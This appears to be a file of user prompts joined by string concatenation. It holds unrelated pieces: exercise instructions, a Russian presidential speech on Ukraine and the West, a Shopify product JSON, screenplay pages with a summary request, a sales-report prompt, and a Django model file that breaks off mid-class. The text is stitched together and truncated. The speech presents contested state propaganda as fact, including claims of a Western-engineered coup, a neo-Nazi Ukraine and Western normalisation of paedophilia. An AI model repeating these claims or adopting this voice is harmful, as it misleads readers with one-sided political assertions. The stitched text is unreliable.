\nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' +"The recent Munich Conference turned into an endless stream of accusations against Russia. One gets the impression that this was done so that everyone would forget what the so-called West has been doing over the past decades. They were the ones who let the genie out of the bottle, plunging entire regions into chaos.\n\nAccording to US experts, almost 900,000 people were killed during wars unleashed by the United States after 2001, and over 38 million became refugees. Please note, we did not invent these statistics; it is the Americans who are providing them. They are now simply trying to erase all this from the memory of humankind, and they are pretending that all this never happened. However, no one in the world has forgotten this or will ever forget it.\n\nNone of them cares about human casualties and tragedies because many trillions of dollars are at stake, of course. They can also continue to rob everyone under the guise of democracy and freedoms, to impose neoliberal and essentially totalitarian values, to brand entire countries and nations, to publicly insult their leaders, to suppress dissent in their own countries and to divert attention from corruption scandals by creating an enemy image. We continue to see all this on television, which highlights greater domestic economic, social and inter-ethnic problems, contradictions and disagreements.\n\nI would like to recall that, in the 1930s, the West had virtually paved the way to power for the Nazis in Germany. In our time, they started turning Ukraine into an “anti-Russia.”\n\nActually, this project is not new. People who are knowledgeable about history at least to some extent realise that this project dates back to the 19th century. The Austro-Hungarian Empire and Poland had conceived it for one purpose, that is, to deprive Russia of these historical territories that are now called Ukraine. This is their goal. There is nothing new here; they are repeating everything.\n\nThe West expedited the implementation of this project today by supporting the 2014 coup. That was a bloody, anti-state and unconstitutional coup. They pretended that nothing happened, and that this is how things should be. They even said how much money they had spent on it. Russophobia and extremely aggressive nationalism formed its ideological foundation.\n\nQuite recently, a brigade of the Armed Forces of Ukraine was named Edelweiss after a Nazi division whose personnel were involved in deporting Jews, executing prisoners of war and conducting punitive operations against partisans in Yugoslavia, Italy, Czechoslovakia and Greece. We are ashamed to talk about this, but they are not. Personnel serving with the Armed Forces of Ukraine and the Ukrainian National Guard are particularly fond of chevrons formerly worn by soldiers from Das Reich, Totenkopf (Death’s Head) and Galichina divisions and other SS units. Their hands are also stained with blood. Ukrainian armoured vehicles feature insignia of the Nazi German Wehrmacht.\n\nNeo-Nazis are open about whose heirs they consider themselves to be. Surprisingly, none of the powers that be in the West are seeing it. Why? Because they – pardon my language – could not care less about it. They do not care who they are betting on in their fight against us, against Russia. In fact, anyone will do as long as they fight against us and our country. Indeed, we saw terrorists and neo-Nazis in their ranks. They would let all kinds of ghouls join their ranks, for God’s sake, as long as they act on their will as a weapon against Russia.\n\nIn fact, the anti-Russia project is part of the revanchist policy towards our country to create flashpoints of instability and conflicts next to our borders. Back then, in the 1930s, and now the design remains the same and it is to direct aggression to the East, to spark a war in Europe, and to eliminate competitors by using a proxy force.\n\nWe are not at war with the people of Ukraine. I have made that clear many times. The people of Ukraine have become hostages of the Kiev regime and its Western handlers, who have in fact occupied that country in the political, military and economic sense and have been destroying Ukrainian industry for decades now as they plundered its natural resources. This led to social degradation and an immeasurable increase in poverty and inequality. Recruiting resources for military operations in these circumstances was easy. Nobody was thinking about people, who were conditioned for slaughter and eventually became expendables. It is a sad and dreadful thing to say, but it is a fact.\n\nResponsibility for inciting and escalating the Ukraine conflict as well as the sheer number of casualties lies entirely with the Western elites and, of course, today’s Kiev regime, for which the Ukrainian people are, in fact, not its own people. The current Ukrainian regime is serving not national interests, but the interests of third countries.\n\nThe West is using Ukraine as a battering ram against Russia and as a testing range. I am not going to discuss in detail the West's attempts to turn the war around, or their plans to ramp up military supplies, since everyone is well aware of that. However, there is one circumstance that everyone should be clear about: the longer the range of the Western systems that will be supplied to Ukraine, the further we will have to move the threat away from our borders. This is obvious.\n\nThe Western elite make no secret of their goal, which is, I quote, “Russia’s strategic defeat.” What does this mean to us? This means they plan to finish us once and for all. In other words, they plan to grow a local conflict into a global confrontation. This is how we understand it and we will respond accordingly, because this represents an existential threat to our country.\n\nHowever, they too realise it is impossible to defeat Russia on the battlefield and are conducting increasingly aggressive information attacks against us targeting primarily the younger generation. They never stop lying and distorting historical facts as they attack our culture, the Russian Orthodox Church and other traditional religious organizations in our country.\n\nLook what they are doing to their own people. It is all about the destruction of the family, of cultural and national identity, perversion and abuse of children, including pedophilia, all of which are declared normal in their life. They are forcing the priests to bless same-sex marriages. Bless their hearts, let them do as they please. Here is what I would like to say in this regard. Adult people can do as they please. We in Russia have always seen it that way and always will: no one is going to intrude into other people’s private lives, and we are not going to do it, either.\n\nBut here is what I would like to tell them: look at the holy scripture and the main books of other world religions. They say it all, including that family is the union of a man and a woman, but these sacred texts are now being questioned. Reportedly, the Anglican Church is planning, just planning, to explore the idea of a gender-neutral god. What is there to say? Father, forgive them, for they know not what they do.\n\nMillions of people in the West realise that they are being led to a spiritual disaster. Frankly, the elite appear to have gone crazy, and it looks like there is no cure for that. But like I said, these are their problems, while we must protect our children, which we will do. We will protect our children from degradation and degeneration.\n\nClearly, the West will try to undermine and divide our society and to bet on the fifth columnists who, throughout history, and I want to emphasise this, have been using the same poison of contempt for their own Fatherland and the desire to make money by selling this poison to anyone who is willing to pay for it. It has always been that way.\n\nThose who have embarked on the road of outright betrayal, committing terrorist and other crimes against the security of our society and the country’s territorial integrity, will be held accountable for this under law. But we will never behave like the Kiev regime and the Western elite, which have been and still are involved in witch hunts. We will not settle scores with those who take a step aside and turn their back on their Motherland. Let this be on their conscience, let them live with this – they will have to live with it. The main point is that our people, the citizens of Russia, have given them a moral assessment.\n\nI am proud, and I think we are all proud that our multi-ethnic nation, the absolute majority of our citizens, have taken a principled stance on the special military operation. They understand the basic idea of what we are doing and support our actions on the defence of Donbass. This support primarily revealed their true patriotism – a feeling that is historically inherent in our nation. It is stunning in its dignity and deep understnding by everyone – I will stress, everyone – of the inseparable link between one’s own destiny and the destiny of the Fatherland.\n\nMy dear friends, I would like to thank everyone, all the people of Russia for their courage and resolve. I would like to thank our heroes, soldiers and officers in the Army and the Navy, the Russian Guards, the secret services staff, and all structures of authority, the fighters in Donetsk and Lugansk corps, volunteers and patriots who are now fighting in the ranks of the BARS combat army reserve.\n\nI would like to apologise that I will not be able to mention everyone during today’s speech. You know, when I was drafting this speech, I wrote a very long list of these heroic units but then removed it from my text because, as I said, it is impossible to mention everyone, and I was afraid to offend anyone I might leave out.\n\nMy deepest gratitude to the parents, wives and families of our defenders, the doctors and paramedics, combat medics and medical nurses that are saving the wounded; to the railway workers and drivers that are supplying the front; to the builders that are erecting fortifications and restoring housing, roads and civilian facilities; to the workers and engineers at defence companies, who are now working almost around-the-clock, in several shifts; and to rural workers who reliably ensure food security for the country.\n\nI am grateful to the teachers who sincerely care for the young generations of Russia, especially those that are working in very difficult, almost front-line conditions; the cultural figures that are visiting the zone of hostilities and hospitals to support the soldiers and officers; volunteers that are helping the front and civilians; journalists, primarily war correspondents, that are risking their lives to tell the truth to the world; pastors of Russia’s traditional religions and military clergy, whose wise words support and inspire people; government officials and business people – all those who fulfill their professional, civil and simply human duty.\n\nMy special words go to the residents of the Donetsk and Lugansk people’s republics, and the Zaporozhye and Kherson regions. You, my friends, determined your future at the referendums and made a clear choice despite the neo-Nazis’ threats and violence, amid the close military actions. But there has been nothing stronger than your intent to be with Russia, with your Motherland." +'Given this API response\n{\n "id": "4f07d5a7-4311-4d4d-9d12-342f6bc1d7e1",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "variants": [\n {\n "id": "22cc1ccc-6418-4f3c-a9d9-c06e2ce22a4a",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "inventory\\_policy": "deny",\n "inventory\\_quantity": 278,\n "inventory\\_item\\_cost": null,\n "option1": "Default Title",\n "option2": null,\n "option3": null,\n "position": 1,\n "price": 20.0,\n "title": "Default Title",\n "sku": "GSTWVYAR1",\n "grams": 0.0,\n "weight": 0.0\n }\n ],\n "body\\_html": "Don’t cheat yourself, treat yourself with WAVY, a nourishing waffle and pancake mix that\'s sweet and decadent. Inspired by our ancestors breaking bread we connect the flavors of Africa, Asia, and The Americas through our ingredient stack. Made with organic roots and grains.\n\n\\nNon-GMO. Plant Based. Gluten Free. No sugar cane.\n\n\\n\n\n\\n\\n|\\n Ingredients |\\n Nutrition Facts |\\n\n\\n|\\n Rice Flour\\*, Cassava Flour\\*, Coconut Sugar\\*, Tigernut Flour\\*, Cocoa Butter Powder, Potato Starch\\*, Sorghum Flour\\*, Amaranth Powder\\*, Kosher Salt, Active Yeast\\*, Baking Powder, Sunflower Lecithin\\*. (\\*Organic) \xa0 |\\n \\n\n\n\\n\\n|\\n \\n12 servings per containerServing size: 3 Tablespoons (35g)\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n \\nAmount\xa0per Serving |\\n % Daily Value\\*\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n Calories\xa0150\\n |\\n |\\n\n\\n|\\n \\nTotal Fat 4.5g\\n |\\n 6% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Saturated Fat 2g\\n |\\n 10% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Trans Fat 0g\\n |\\n |\\n\n\\n|\\n Cholesterol 0mg\\n |\\n 0% |\\n\n\\n|\\n Sodium 150mg\\n |\\n 7% |\\n\n\\n|\\n Total Carbohydrate 23g\\n |\\n 8%\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0Dietary Fiber 1g |\\n 4% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Total Sugars 5g |\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0 \xa0 \xa0 Includes 0g Added Sugars |\\n 0% |\\n\n\\n|\\n Protein 1g\\n |\\n |\\n\n\\n|\\n Vitamin D 0mcg |\\n 0% |\\n\n\\n|\\n Calcium 20mg |\\n 2% |\\n\n\\n|\\n Iron 1mg |\\n 6% |\\n\n\\n|\\n Potassium 73mg |\\n 2% |\\n\n\\n\\n\n\\n |\\n\n\\n\\n\n",\n "handle": "ancestral-roots-waffle-pancake-mix",\n "image\\_src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "images": [\n {\n "id": 32177532338347,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "width": 1771,\n "height": 2300,\n "position": 1,\n "created\\_at": "2022-05-13T18:38:29-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532338347"\n },\n {\n "id": 32177532305579,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_1.png?v=1652481515",\n "width": 1277,\n "height": 1583,\n "position": 2,\n "created\\_at": "2022-05-13T18:38:28-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532305579"\n },\n {\n "id": 28933332697259,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_3\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 3,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332697259"\n },\n {\n "id": 28933332795563,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_4\\_ancestral\\_roots.png?v=1652481515",\n "width": 1666,\n "height": 2164,\n "position": 4,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332795563"\n },\n {\n "id": 28933332828331,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_5\\_ancestral\\_roots.png?v=1652481515",\n "width": 1664,\n "height": 2164,\n "position": 5,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332828331"\n },\n {\n "id": 28933332762795,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_6\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 6,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332762795"\n }\n ],\n "options": [\n {\n "id": 8499721339051,\n "name": "Title",\n "values": [\n "Default Title"\n ],\n "position": 1,\n "product\\_id": 6609476714667\n }\n ],\n "product\\_type": "Waffle & Pancake Mix",\n "published\\_at": "2021-04-04T22:06:37Z",\n "status": "active",\n "title": "Ancestral Roots",\n "vendor": "Ghetto Gastro",\n "origin\\_supplier\\_shop\\_domain": null\n}' +'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: \n\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat’s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.' +'Assume that today\'s date is 12/31/2022 and we\'re writing a monthly business report about our team\'s performance. We want to summarize how many sales we had in August 2022, how that compared month over month, and how that changed year over year. We also want to include how many unique buyers we had that month.\n"""\n\nGiven the following content to extract from:\n"""\nmonth,sales\\_usd,unique\\_buyers,total\\_transactions,avg\\_sale\n12/1/2022,"1,447,098","8,308","128,477",$11.26\n11/1/2022,"2,074,764","10,023","148,440",$13.98\n10/1/2022,"2,674,792","13,462","188,864",$14.16\n9/1/2022,"4,683,073","12,712","211,829",$22.11\n8/1/2022,"7,042,031","15,369","423,164",$16.64\n7/1/2022,"8,338,866","17,552","547,841",$15.22\n6/1/2022,"7,722,164","25,200","382,749",$20.18\n5/1/2022,"13,931,450","34,936","786,680",$17.71\n4/1/2022,"26,402,816","37,440","1,036,816",$25.47\n3/1/2022,"29,475,484","40,828","1,217,918",$24.20\n2/1/2022,"47,606,739","73,304","1,716,666",$27.73\n1/1/2022,"59,020,026","64,494","1,828,283",$32.28\n12/1/2021,"38,837,806","49,829","1,369,789",$28.35\n11/1/2021,"25,236,903","64,650","1,285,372",$19.63\n10/1/2021,"40,869,575","65,769","1,127,610",$36.24\n9/1/2021,"20,282,690","47,434","659,935",$30.73\n8/1/2021,"37,502,857","57,618","833,278",$45.01\n7/1/2021,"22,245,483","60,027","1,021,688",$21.77\n6/1/2021,"45,367,753","76,032","1,657,712",$27.37\n5/1/2021,"40,855,232","114,264","1,319,971",$30.95\n4/1/2021,"82,309,626","120,057","1,263,374",$65.15\n3/1/2021,"208,285,837","184,008","1,327,028",$156.96\n2/1/2021,"224,070,124","80,822","1,232,459",$181.81\n1/1/2021,"40,547,118","19,185","505,572",$80.20\n12/1/2020,"869,161",910,"32,056",$27.11\n11/1/2020,"322,531",489,"9,889",$32.62\n10/1/2020,"835,451",920,"19,689",$42.43\n9/1/2020,"222,576",456,"7,188",$30.96\n8/1/2020,"154,684",313,"6,610",$23.40\n7/1/2020,"8,352",35,265,$31.52\nGiven the metric definitions to use and assuming the month is November 2022:\n"""\nMoM = (11/1/2022 - 10/1/2022) / 10/1/2022\nYoY = (11/1/2022 - 11/1/2021) / 11/1/2021\nGiven the following format to mirror:\n"""\nIn November 2022, we saw $2,074,764 of sales (-22.4% MoM; -91.8% YoY) across 10,023 unique buyers.\n"""\n\nExtract the text from the following content relevant to the question:\n"""\nmonth,sales\\_usd,unique\\_buyers,total\\_transactions,avg\\_sale\n12/1/2022,"1,447,098","8,308","128,477",$11.26\n11/1/2022,"2,074,764","10,023","148,440",$13.98\n10/1/2022,"2,674,792","13,462","188,864",$14.16\n9/1/2022,"4,683,073","12,712","211,829",$22.11\n8/1/2022,"7,042,031","15,369","423,164",$16.64\n7/1/2022,"8,338,866","17,552","547,841",$15.22\n6/1/2022,"7,722,164","25,200","382,749",$20.18\n5/1/2022,"13,931,450","34,936","786,680",$17.71\n4/1/2022,"26,402,816","37,440","1,036,816",$25.47\n3/1/2022,"29,475,484","40,828","1,217,918",$24.20\n2/1/2022,"47,606,739","73,304","1,716,666",$27.73\n1/1/2022,"59,020,026","64,494","1,828,283",$32.28\n12/1/2021,"38,837,806","49,829","1,369,789",$28.35\n11/1/2021,"25,236,903","64,650","1,285,372",$19.63\n10/1/2021,"40,869,575","65,769","1,127,610",$36.24\n9/1/2021,"20,282,690","47,434","659,935",$30.73\n8/1/2021,"37,502,857","57,618","833,278",$45.01\n7/1/2021,"22,245,483","60,027","1,021,688",$21.77\n6/1/2021,"45,367,753","76,032","1,657,712",$27.37\n5/1/2021,"40,855,232","114,264","1,319,971",$30.95\n4/1/2021,"82,309,626","120,057","1,263,374",$65.15\n3/1/2021,"208,285,837","184,008","1,327,028",$156.96\n2/1/2021,"224,070,124","80,822","1,232,459",$181.81\n1/1/2021,"40,547,118","19,185","505,572",$80.20\n12/1/2020,"869,161",910,"32,056",$27.11\n11/1/2020,"322,531",489,"9,889",$32.62\n10/1/2020,"835,451",920,"19,689",$42.43\n9/1/2020,"222,576",456,"7,188",$30.96\n8/1/2020,"154,684",313,"6,610",$23.40\n7/1/2020,"8,352",35,265,$31.52\n"""\n\nSummarize the extracted text from the content above in the format to mirror:\n"""' +'```\nimport pickle\n\nfrom django.db import models\nfrom django.utils.text import slugify\nfrom django.utils.translation import gettext\\_lazy as \\_\\_\nfrom django\\_extensions.db.models import TimeStampedModel\nfrom hdlib.DateTime.Date import Date\nfrom picklefield.fields import PickledObjectField\n\nfrom main.apps.currency.models import FxPair\nfrom main.apps.feature.models.feature import FeatureGroup\nclass ExperimentTag(TimeStampedModel):\n name = models.CharField(max\\_length=250)\n slug = models.SlugField(unique=True, max\\_length=250, editable=False)\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def save(self, \\*\\*kwargs):\n self.slug = slugify(self.name)\n super().save(\\*\\*kwargs)\nclass Experiment(TimeStampedModel):\n class 